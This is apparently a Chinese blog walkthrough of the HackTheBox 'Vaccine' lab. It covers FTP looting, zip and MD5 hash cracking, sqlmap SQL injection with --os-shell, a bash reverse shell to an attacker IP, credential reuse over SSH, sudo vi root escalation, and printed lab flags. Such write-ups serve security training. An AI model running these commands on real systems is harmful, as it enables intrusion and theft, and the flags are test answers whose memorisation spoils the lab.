HackTheBox-Vaccine

1.端口扫描

nmap -v -sV -sC {ip}

图片

2.FTP匿名登录

ftp {ip}
# name:anonymous password为空
dir 
# 只有一个文件
get backupz.zip
bye

unzip backup.zip
# 解压,发现需要输入密码

zip2john backup.zip >hash
# 导出该压缩包的hash值,以便接下来做hash碰撞

john hash -w=/usr/share/wordlists/rockyou.txt 
# 进行hash碰撞

图片

可以看到跑出了密码

再进行解压,就得到了index.php和style.css

查看index.php的内容,关键内容如下

session_start();
>  if(isset(_POST[‘username’]) && isset(_POST[‘password’])) {
>    if(_POST[‘username’] === ‘admin’ && md5(_POST[‘password’]) === “2cb42f8734ea607eefed3b70af13bbd3”) {
>      $_SESSION[‘login’] = “true”;
>      header(“Location: dashboard.php”);
>    }
>  }
>?>
账号是admin,密码的md5值是2cb42f8734ea607eefed3b70af13bbd3,解密后为qwerty789

或者可以使用hashcat进行碰撞

echo "2cb42f8734ea607eefed3b70af13bbd3" >md5hash     
hashcat -a 0 -m 0 
# 这样也可以跑出hash值

成功登录了

图片

3.SQL注入

可以看到是一个SQL查询框,尝试了一下,单引号闭合会出现报错信息,说明存在sql注入漏洞

直接利用sqlmap

需要注意的是,这里要添加cookie,原因是假如没有cookie认证,重新开一个浏览器输入ip访问还是会跳转到index.php,因为我们事先是通过账号密码登录进来的

sqlmap -u http://10.129.62.97/dashboard.php?search=a --cookie=PHPSESSID=pouphcppgnr1g1enr30tvgm3d1 --os-shell --batch
# --cookie用于添加cookie信息,--os-shell用于提权,--batch表示全自动化

图片

这边直接有一个shell可以使用,但是命令执行的比较不方便

可以直接利用https://www.revshells.com/上的工具制作shell

图片

修改相应的ip和端口

监听4444端口,os-shell这边执行

/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.46/4444 0>&1'

反弹shell成功

python3 -c "import pty; pty.spawn('/bin/bash')"
# pty

cd /var/www/html
cat dashboard.php
# 得到    "host=localhost port=5432 dbname=carsdb user=postgres passwor# d=P@s5w0rd!"

ssh postgres@10.129.62.97   
# password=P@s5w0rd!  登录成功

cat user.txt
# flag{ec9b13ca4d6229cd5cc1e09980965bf7}

4.提权

sudo -l
# 列出目前的权限 若用户不在sudoers中会提示不能运行sudo命令,存在则会显示详细的权限
# 当前只有/bin/vi命令可以sudo

图片

这里是使用vi编辑器提权,vi里可以直接输入命令,因为这个vi是sudo打开,调出的shell也就是root身份。

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# 在vi编辑界面里,输入如下命令并回车
!/bin/bash
# 获得了root权限
cd
cat root.txt
# flag{dd6e058e814260bc70e9bbdef2715849}

图片

Related Posts

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注